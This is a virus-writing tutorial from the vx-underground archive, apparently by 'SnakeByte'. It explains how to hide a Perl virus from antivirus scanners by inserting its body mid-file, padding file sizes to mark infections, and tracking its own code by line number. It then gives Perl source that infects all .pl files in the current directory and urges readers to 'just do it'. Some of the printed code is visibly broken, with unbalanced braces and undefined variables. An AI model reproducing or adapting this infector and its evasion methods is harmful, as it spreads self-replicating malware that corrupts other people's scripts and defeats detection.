,, MMP""MM""YMM `7MM P' MM `7 MM MM MMpMMMb. .gP"Ya MM MM MM ,M' Yb MM MM MM 8M"""""" MM MM MM YM. , .JMML. .JMML JMML.`Mbmmd' `7MMF' `7MF' `7MMF' `7MMF' `MA ,V MM MM VM: ,V `7M' `MF' MM MM .gP"Ya ,6"Yb.`7M' `MF'.gP"Ya `7MMpMMMb. MM. M' `VA ,V' MMmmmmmmMM ,M' Yb 8) MM VA ,V ,M' Yb MM MM `MM A' XMX MM MM 8M"""""" ,pm9MM VA ,V 8M"""""" MM MM :MM; ,V' VA. MM MM YM. , 8M MM VVV YM. , MM MM VF .AM. .MA..JMML. .JMML.`Mbmmd' `Moo9^Yo. W `Mbmmd'.JMML JMML. ,, ,, ,, .g8"""bgd `7MM `7MM mm db .dP' `M MM MM MM dM' ` ,pW"Wq. MM MM .gP"Ya ,p6"bo mmMMmm `7MM ,pW"Wq.`7MMpMMMb. MM 6W' `Wb MM MM ,M' Yb 6M' OO MM MM 6W' `Wb MM MM MM. 8M M8 MM MM 8M"""""" 8M MM MM 8M M8 MM MM `Mb. ,'YA. ,A9 MM MM YM. , YM. , MM MM YA. ,A9 MM MM `"bmmmd' `Ybmd9'.JMML..JMML.`Mbmmd' YMbmd' `Mbmo.JMML.`Ybmd9'.JMML JMML. -- Contact -- https://twitter.com/vxunderground vxug@null.net
SnakeByte [ SnakeByte@kryptocrew.de ]

This little tutorial will present you some simple, but effective methods, to hide your perl Virus from detection by analyzing the perl source code. At the moment all perl virus detections seem to be based on simple string scanning, so are very basic. The idea of this paper is to use Entry Point Techniques, we all know from Win32 PE Infectory, to make the automatic analisation of the virus harder, to prevent it getting detected by the heuristic scanning engines which will possibly show up soon, if perl viruses would get more popular... and I think they will, as somebody told me .."perl is sexy"

The idea is not to habe the perl virus code in the start of the file or a jump / call to it in the start, but to insert a call or the entire source somewhere in the middle of the file, so lots of code needs to be traced before the actual virus would be found.. in the best case, too much for the scanner, and he would fail detecting the virus. So how can we achieve this goal ? There several ways to do this ( TIMTOWTDI ). The one is to insert a call to the virus somewhere in the middle and placing the virus at the end. And the other is to insert the entire virus inside the file.

No matter which way we choose, we need to insert our code somewhere. To do this we need to find a simple way, to parse the code and find a valid point where to include it. This can be done in several ways to. I think the easiest one is to search the perl file from a random line, up or downwards, you decide for a ; which ends every perl statement. Or better for an ;\n or and ; and a space character. This way we can get pretty sure, that we either have found the end of a statement, where we can include our &Virus to call the Virus body. Or we found something like 'print "foo"; print "bar"' So if we searched for a ; inside a string, we can split the line there and divide in into two, and insert the call just between them. Instead of the call, we could also insert our entire virus, just make sure, you use strange variables, so you wouldn't mess up the original code.

How to mark the infection ?

This can be done in various ways, like to align the filesize to a special value, by adding spaces, or make the first line end with 3 spaces in a row, or insert several newlines at the end of the file. This is something a virus scanner can't rely on to be an infection =)

The next problem is that we need to find our own code inside the file, to be able to insert it into another perl script. A weak method could be to insert a comment which you can search for, but this comment could be picked up by an av, which is not good, if you want to implement poly techniques or something similar to hide your scanstring. I think a nice way is a hardcoded line number, like the hardcoded delta offset in some viruses. Let's see some pseudo code first.

 [ normal File ]
 [  < Virus >
  $xxx = line number
  open own file
  read y lines from line $xxx
  for file in *
   open file
  search an ;
  get line number
  insert $xxx = line number 
  insert the virus ( the lines we read before )
  done ..      ]
 [ normal File ]
 [ spaces for size padding]

I think the concept is very clear at this point, is it ? So let's follow the real code ! Simply drop this to a file and start it, to make it infect all .pl files in the current directory.

 print "Perl Virus to demonstrate EPO by SnakeByte\n";

 # <<<<<<<<<<<<<< here starts the virus <<<<<<<<<
  $VirLine = 6;                                 # in line 7 starts the virus body..
  $VirMaxLine = 59;                             # number of lines in the virus
   open(VirFile,$0);                            # open our own File
   @Virus=<VirFile>;                            # read the entire file
   close(VirFile);                              # close it
   for ($VirX=0; $VirX < $VirMaxLine; $VirX++){ # copy $VirMaxLine lines
    @Virus2[$VirX]=@Virus[$VirA];               # from $VirLine
  foreach $VirFileName(<*.pl>){                 # search files
   if (( -r $VirFileName ) && ( -w $VirFileName ) && ( -f $VirFileName )) {
    open(VirFile, "$VirFileName");              # open the file we found
    @VirTemp=<VirFile>;                         # read it
    close(VirFile);                             # close it
                                                # check if it is a perl file
    if ((@VirTemp[0] =~ /perl/i) or (@VirTemp[1] =~ /perl/i)) {
    $VirFile2 = join("\n", @VirFile);           # is file already infected ?
    $VirSize = length( $VirFile2 );
    if ( ( $VirSize % 10 ) != 0 ){
    for ( $VirX = ( (@VirTemp) >> 1 ); $VirX < @VirTemp; $VirX++ ){
      if ( @VirTemp[$VirX] =~ "\;\n" ) {
                                                # We found a ;\n and infect this file !
                                                # Copy all lines below into a new array
       for ( $VirY = 0; $VirY < $VirX; $VirY++ ){
        @VirNEW[$VirY] = "@VirTemp[$VirY]";
                                                # now we insert the virus
       $VirY++;                                 # set the line number
       @VirNEW[$VirY] = "\$VirLine = $VirX\;\n";
       for ( $VirZ = 0; $VirZ < $VirMaxLine ; $VirZ++ ){
        @VirNEW[$VirY] = @Virus2[$VirZ];
                                                # and insert rest of the original file
       for ( $VirZ = $VirX; $VirZ < ( @VirTemp ) ; $VirZ++ ){
        @VirNEW[$VirY] = "@VirTemp[$VirZ]";
      $VirFile2 = join("\n", @VirNEW );                 # do padding with spaces
      $VirSize = length( $VirFile2 ); print ("Laenge : $VirSize \n");
      $VirSize = $VirSize % 10;     ; print ("Size mod 10 : $VirSize \n");
      $VirSize = 10 - $VirSize;     ; print ("Padding: $VirSize \n");
      for ($VirX = 1; $VirX < $VirSize; $VirX++){
       @VirNEW[$VirY] = "@VirNEW[$VirY] "       # add spaces
      }                                         # end padding
                                                # write the new file to disk
       open(VirFile, ">$VirFileName");
       print VirFile "@VirNEW";
       close (VirFile);
       goto VirEND
      }                                         # End Infect
     }                                          # End Search for ;
    }                                           # End Perl File Check if
   }                                            # End Infected ? If
   }                                            # End Filecheck if
VirEND:                                         # get next file..
  }                                             # End search files for each..

You see it is pretty simple to insert your perl virus somewhere in another file.. just do it =) The code can be optimized of course, and can be shrinked to less lines ( for example the { in the end ).